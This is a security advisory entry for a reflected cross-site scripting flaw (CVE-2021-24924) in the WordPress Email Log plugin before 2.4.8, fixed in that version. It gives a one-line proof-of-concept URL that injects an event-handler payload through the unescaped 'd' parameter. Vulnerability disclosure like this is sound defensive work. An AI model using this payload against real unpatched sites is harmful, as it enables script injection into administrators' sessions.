WordPress Plugin Vulnerabilities

Email Log < 2.4.8 - Reflected Cross-Site Scripting

Description

The plugin does not escape the d parameter before outputting it back in an attribute in the Log page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/admin.php?page=email-log&d="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Affects Plugins

email-log

Fixed in version 2.4.8

References

CVE

CVE-2021-24924

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website

https://blog.szfszf.top

Submitter twitter

JrXnm

Verified

Yes

WPVDB ID

4621e86e-aba4-429c-8e08-32cf9b4c65e6

Timeline

Publicly Published

2021-11-08 (about 1 years ago)

Added

2021-11-08 (about 1 years ago)

Last Updated

2022-09-26 (about 12 months ago)

Our Other Services

WPScan WordPress Security Plugin